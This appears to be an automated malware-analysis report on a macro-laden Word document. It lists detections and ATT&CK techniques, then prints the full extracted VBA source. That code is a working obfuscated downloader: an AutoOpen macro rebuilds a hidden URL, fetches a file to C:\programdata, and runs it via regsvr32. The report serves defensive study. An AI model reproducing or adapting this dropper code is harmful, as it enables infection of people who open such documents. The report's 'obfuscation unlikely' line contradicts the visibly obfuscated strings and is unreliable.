MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is an OOXML document containing VBA macros. The AutoOpen macro is present and utilizes URLDownloadToFile, indicating an attempt to download a payload. The script reconstructs the URL "http://nrs2wjk10t12vz9.com/alfh/x" from concatenated strings, which is then likely used to fetch and execute a second-stage malicious file. The ClamAV detection further confirms its malicious nature.
Heuristics 5
-
ClamAV: Doc.Malware.Generic-7898874-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Generic-7898874-0
-
VBA project inside OOXML medium 2 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
#If VBA7 And Win64 Then Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _ Alias "URLDownloadToFileA" ( _ -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub AutoOpen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
- http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
- http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
- http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
- http://ns.adobe.com/xap/1.0/Referenced by macro
- http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
- http://ns.adobe.com/xap/1.0/mm/Referenced by macro
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
- http://purl.org/dc/elements/1.1/Referenced by macro
- http://ns.adobe.com/photoshop/1.0/Referenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 6542 bytes |
SHA-256: 3114c5c768b87448f5dfaaf887456e6757d072604760281adab2b4b51354f9c5 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "i"
Function V()
' Tmp ob applicable
' Pits subjective forger
' Reunite camera unique caption
' Susan php
' Received headway
' Nodes aerial
' Une myspace aa
' Abdomen feel nehemiah dispel
' Magnificent tale endangered
' Follower coal retribution meddling
' Pollux someone aa
' Fudge nyc representative minister
' Florists lions launch configured
' Galen ron denunciation
' Remission seconds obsession iniquitous spotlight
' Vespers dominate pavia florida
' Fully bahamas twenty-fifth case
' Assessed fissure hurtful trite
' Lingo section carmine emacs specification
' Proved results hell
' Peace hellenic mailman
' Current berkeley rehabilitation
' Laudable miami hon
' Irate generators pricing
' Breakwater trim minus ochre
' Childlike mounting oneness beliefs glue jubilation
' Purposed hurrah
' Newfoundland pater rwanda exemplar
' Combining compost pet cos
' Fir co magical
' Predicate fatten grown lucerne marmalade
' Comparing magnet lurch
End Function
Function j()
' Z distasteful
' Profit theorem
' Improving ferry backing opposed
' Modicum bookstore mir tongue
' Encountered dignitary vassal
Dim arr(6) As String
' Bulbous sublimedirectory referenced immobile
' Battlefield seafaring syracuse
' Reparation functioning
arr(0) = "h$+1t$+1t$+1p$+1:$+1/$+1/$+1n$+1r$+1s$+12$+1w$+1j$+1k$+1e$+10$+1t$+12$+1v$+1z$+19$+1.$+1c$+1o$+1m$+1/$+1a$+1l$+1f$+1h$+1/$+1x$+1"
' Pd adulterous crouch dental sapling
arr(1) = "z$+1r$+1n$+1.$+1p$+1h$+1p$+1?$+1l$+1=$+1l$+1f$+1a$+1h$+1e$+11$+1.$+1c$+1a$+1b$+1%$+1%$+1%$+1c$+1:$+1\$+1p$+1r$+1o$+1g$+1r$+1a$+1"
' Supporting insulated financial bufing translators
arr(2) = "m$+1d$+1a$+1t$+1a$+1\$+17$+11$+10$+16$+11$+15$+15$+17$+1.$+1d$+1a$+1t$+1"
' Slideshow rook dandelion count tmp
' Brandishing monthly trestle
' Grey carb blacken
' Airlines beast
j = arr
End Function
Function bY(q, hH)
Cg = j
' Privileges
' Evacuation situation locked cr.
' Groceries mitsubishi invoice
' Toward plume referenced
' Edwards kazakhstan puppet athletics
T = Join(Cg, "")
' Lathe
' Romanticism navigation
' Sheriff
T = Replace(T, q, "")
' Recruiting equip nodes suspension
' Doctors openings universal frenchwoman opportunities
' Friendship
Cg = Split(T, "%%%")
' Upbringing helena cited evasive worldwide sedimentary roberts
' Selecting practices tropic
Select Case hH
Case 0
bY = Cg(0)
Case 1
bY = Cg(1)
Case Else
Debug.Print "T"
End Select
End Function
Function xJ(D As String) As Long
uH$ = "0123456789ABCDEF"
' Officiate ilk
If Len(D) = 1 Then
' Dauphin reclaim whitehall ramble maui
' Egoism vindictive cocktail
' Inconsolable pun dimple utilize
' Unpretentious slight posing newer
xJ = InStr(uH$, D) - 1
Else
' Panic slimy precisely miscellaneous
' Culmination maze drone
' Porcupine medicinal
' Born rv
' Waltz milk
' Managing collectible ferrari
xJ = xJ(Left$(D, (Len(D) - 1))) * 16 + InStr(uH$, Right$(D, 1)) - 1
End If
End Function
Sub AutoOpen()
' Outwit
' Hospitality mauritius
' Abner trade thrashing
' Wolfish rampant
' Shopzilla override
' Style p.p. customize earthen
Dim O As New Us
' Socket lesions livecam
' Biographer gene larboard contra
' Airplane tuberculosis optimization bell
' Referred extension trieste uptown sp
O.Ba bY("$+1", 0), bY("$+1", 1)
' Changes chancellor lee understanding
' Recently carbolic bind club
Dim cj As New pf
' Canticle ezra carbonic sedimentary
' Visit inorganic receivers lat lengthen emotions
' Serfs lows bouquet swineherd jaunt croquet
' Median ripen garnered noose
' Immobile cognate ham dissolving
' Heart-rending ducking lion samaria abjured
' Cohesion
' Pinnacle ignoramus honeymoon paso mammy boom
' Collectables ravenna princess hey braxton intermittently
' Fidget yoga sydney widely rush ajar spokesman
' Potato contrasting
' Begin became dare door
' Implement depleted alpine
' Under unvarying dictionaries fireman
' Feudalism permits autonomous blacks macaroni
Call cj.A5(Chr(xJ(52)) & "egsvr" & 32 & " " & bY("$+1", 1))
End Sub
Attribute VB_Name = "Us"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
#If VBA7 And Win64 Then
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As LongPtr, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As LongPtr, _
ByVal lpfnCB As LongPtr _
) As Long
#Else
Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long _
) As Long
#End If
Private Sub Class_Initialize()
' Christmas
' Reopen gp hereby stars
' Anthea
End Sub
Private Sub Class_Terminate()
' Themes tan uc certified
' Hunts credits
' Calculator proved
End Sub
Public Function Ba(b, z)
' Tambourine panoply trans tim
' Throttle oxfordshire uruguay material fiber
' Despondent promote reciprocity tenacity warring sharp
' Mink manner roulette
' Exterior claimed
HU = URLDownloadToFile(0&, b, z, 0&, 0&)
End Function
Attribute VB_Name = "pf"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function A5(n6)
' Snipe nettle throwed darkness palace
' Philanthropy
' Arnold
' Bit cracker picket swarthy
' Jig underlying cataract ulcer cache
' Medicine beguile
Dim h2 As New WshShell
h2.exec n6
End Function
Function ax(DB)
' Oc python canvass
' Sized lees
' Wove eclipse scabbard
' Candelabra wayside phosphorescence
' Science supplies muff
' Un clinic shorthand
' Bryant delivering allegorical
' Mosaic maidenhead consensus
' Affray bring flippant
' Decades homes lute
' Calculation clamber
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 30208 bytes |
SHA-256: f62de168e2f6a684e67260d90f7d8f105a4282f3d169f619b6725f138c8093df |
|||
|
Detection
ClamAV:
Doc.Malware.Generic-7898874-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.